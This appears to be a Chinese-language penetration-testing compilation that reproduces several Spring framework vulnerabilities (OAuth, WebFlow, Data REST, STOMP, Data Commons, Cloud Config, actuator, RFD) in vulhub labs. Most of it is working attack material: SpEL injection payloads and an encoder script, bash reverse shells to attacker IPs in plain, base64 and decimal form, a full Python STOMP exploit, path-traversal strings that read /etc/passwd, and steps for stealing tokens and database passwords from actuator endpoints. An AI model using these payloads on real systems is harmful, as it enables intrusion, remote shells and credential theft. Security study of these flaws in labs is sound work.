访问路径/oauth/authorize,会看到左上角有个绿色叶子的标志,一般都是spring或者springboot
/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test
如果要命令执行需要把执行结果带外才行,java的命令执行漏洞基本需要编码
http://www.jackson-t.ca/runtime-exec-payloads.html
Base64编码后的命令执行语句还需要进行ascii编码,直接带入以下python脚本中
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
python编码的poc直接替换掉前面的el表达式,漏洞成功复现
影响版本
Spring WebFlow 2.4.0 - 2.4.4
访问id为1的酒店http:/ :8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”
再点击确认“Confirm”:
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.244.128/5555+0>%261")).start()=vulhub
Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码
影响版本:
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
命令执行
访问http://your-ip:8080/customers/1
,然后抓取数据包,使用PATCH请求来修改
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
其中new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}
表示的命令touch /tmp/success
这是将每个字符转为对应的十进制,可以通过下面的python代码进行转换:
payload = b'touch /tmp/success'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)
反弹shell
命令:bash -i >& /dev/tcp/10.10.10.10/7777 0>&1
base64编码:bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNzc3NyAwPiYxYA==}|{base64,-d}|{bash,-i}
进制转换:
98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,71,74,104,99,50,103,103,76,87,107,103,80,105,89,103,76,50,82,108,100,105,57,48,89,51,65,118,77,84,65,117,77,84,65,117,77,84,65,117,77,84,65,118,78,122,99,51,78,121,65,119,80,105,89,120,89,65,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125
在10.10.10.10
上开启监听:nc -lvp 7777
替换掉touch /tmp/success
对应的payload,重新发送数据包
成功反弹shell
Spring框架中通过spring-messaging模块来实现STOMP(Simple Text-Orientated Messaging Protocol),STOMP是一种封装WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条消息造成远程代码执行
影响版本
Spring Framework 5.0 to 5.0.4
Spring Framework 4.3 to 4.3.14
环境搭建
拉取环境
docker pull seirian/cve-2018-1270
启动环境
docker run -d -p 8080:8080 seirian/cve-2018-1270
漏洞复现
Poc
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)
def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)
def send(self, command, headers, body=''):
data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")
def __del__(self):
self.session.close()
sockjs = SockJS('http://192.168.1.100:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.100/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"})',
'id': 'sub-0',
'destination': '/topic/greetings'
})
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
1.docker+vulhub漏洞库
2.Burpsuite
3.靶机Ubuntu18.04虚拟机(其他也可以)
打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程很多,这里就不多介绍了)
root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273#
执行命令
root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose up -d
等到出现以下页面证明已经搭建完成
可以访问http://your-ip:8080
,出现如下页面证明环境搭建成功!
POST /users?page=&size=5 HTTP/1.1
Host: 192.168.1.17:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://192.168.1.17:8080
Connection: close
Referer: http://192.168.1.17:8080/users
Upgrade-Insecure-Requests: 1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/2333")]=&password=&repeatedPassword=
服务器返回如下页面时,证明攻击成功!
root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose exec spring bash
进入目录,查看tmp下的目录成功出现2333文件,命令执行成功!
下载一个存在漏洞的 Spring Cloud Config,下载地址如下:
https://github.com/spring-cloud/spring-cloud-config
启动环境后,使用get方法传入/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd,即可读取到linux下passwd文件信息。
一般来说,笔者挖掘 actuator 配置不当的漏洞分如下两步:1. 识别当前 web 应用使用的框架为 springboot 框架;2. 枚举执行器端点路径;下面针对这两步结合笔者漏洞挖掘中遇到的实例具体来说说。
1. 识别当前 web 应用使用的框架为 springboot 框架。主要有两个方法判断:
①通过 web 应用程序网页标签的图标(favicon.ico);如果 web 应用开发者没有修改 springboot web 应用的默认图标,那么进入应用首页后可以看到如下默认的绿色小图标:
该绿色小图标是 spring 框架下的一个默认图标,尽管不能百分百就此图标确认当前 web 应用使用的是 springboot 框架,但是基本上也能百分之八十确认该 web 应用是使用 springboot 框架开发的了(毕竟 springboot 框架确实是太流行了)。
②通过 springboot 框架默认报错页面;如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下(此处仅以 404 报错页面为例):
当出现如上报错页面,就能确定当前 web 应用是使用了 springboot 框架的。
那么综合以上两个途径来判断当前 web 应用是否是 springboot 框架,就是通过访问不同的目录,看是否有小绿叶图标,然后就是想办法在不同目录下触发应用程序的 4xx 或 5xx 错误,看是否有 Whitelabel Error Page 报错。
2. 枚举执行器端点路径。这个其实很简单,在确认当前 web 站点是 springboot 框架后,枚举当前站点的所有一级、二级甚至三级目录,然后写脚本对每个目录进行探测,查看目录下是否存在 actuator 执行端点路径即可。(本来想写个比较通用的探测脚本的,现在只有延期了.. 写完之后放出来)
通过如上步骤,如果你发现了 actuator 的配置不当漏洞,那就要恭喜你啦。不过,尽管这些监控信息的泄露已经足够高危了,有时候碰到一些比较严格的厂商,需要你证明一下这些监控信息的具体危害,或者你想要将危害等级提升到严重,或者想要通过这些监控信息进一步挖掘其他漏洞,该怎么利用呢?笔者通过自身的踩坑经历,总结了如下几个点来尽可能最大化的利用该漏洞:
①认证字段的获取以证明可影响其他用户;这个主要通过访问/trace 路径获取用户认证字段信息,比如如下站点存在 actuator 配置不当漏洞,在其 trace 路径下,除了记录有基本的 HTTP 请求信息(时间戳、HTTP 头等),还有用户 token、cookie 字段:
trace 路径:
通过替换 token 字段可获取其他用户的信息:
②数据库账户密码泄露;由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以拿下 mysql、mangodb 数据库;这个主要通过/env 路径获取这些服务的配置信息,比如如下站点存在 actuator 配置不当漏洞,通过其/env 路径,可获得 mysql、mangodb 的用户名及密码:
mangodb 及 mysql 都可直连,此处以 mysql 为例:
该漏洞详情请见https://det.io/info/detail/id/814,是笔者去年在 dvp 平台提交的一个漏洞。一旦数据库外连成功,漏洞分分钟高危变严重啊。
③git 项目地址泄露;这个一般是在/health 路径,比如如下站点,访问其 health 路径可探测到站点 git 项目地址:
直接访问 git 项目地址,可拿下源码:
④后台用户账号密码泄露;这个一般是在/heapdump 路径下,访问/heapdump 路径,返回 GZip 压缩 hprof 堆转储文件。在 Android studio 打开,会泄露站点内存信息,很多时候会包含后台用户的账号密码(包含漏洞的图片暂时没得,大家记住思路就好了..),通过泄露的账号密码,然后进入后台一番轰炸也不错的。
反射型文件下载漏洞(RFD)
1、响应header是通过org.springframework.http.ContentDisposition进行添加的
2、文件名是通过以下方式之一设置的:
3、filename的值来自用户提供的输入
4、应用程序未清除用户提供的输入
5、攻击者已将下载的响应内容中注入恶意命令
攻击者可利用RFD漏洞,结合社工等方式,让用户下载一个恶意文件并执行,从而危害用户的终端安全
2020年1月16日,Pivotal Software(Spring系列)官方发布 Spring Framework 存在 RFD(反射型文件下载漏洞)的漏洞报告,此漏洞为攻击客户端的漏洞,官方将漏洞严重程度评为高。报告指出,当响应中设置了“Content-Disposition”头且filename属性是用户可控时容易受到RFD攻击。
环境搭建
❯ git clone https://github.com/motikan2010/CVE-2020-5398.git
❯ ./gradlew bootrun
环境搭建完成,开始利用。
http://172.16.125.128:8080/?filename=hack.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid
所以说,通过社工的方式,选用权重较高的域名来实现攻击,成功率很大。
PoC:
payload = "222.txt"
url = "/..%252F..%252F..%252F..%252F..%252F{0}%23/222/11".format(payload)
native的目录在:
/home/77/repos/spring-cloud-config-starter/config-repo
查看密码Payload为:
/..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23111/222
影响范围
Spring Cloud Config
2.2.0 to 2.2.2
2.1.0 to 2.1.8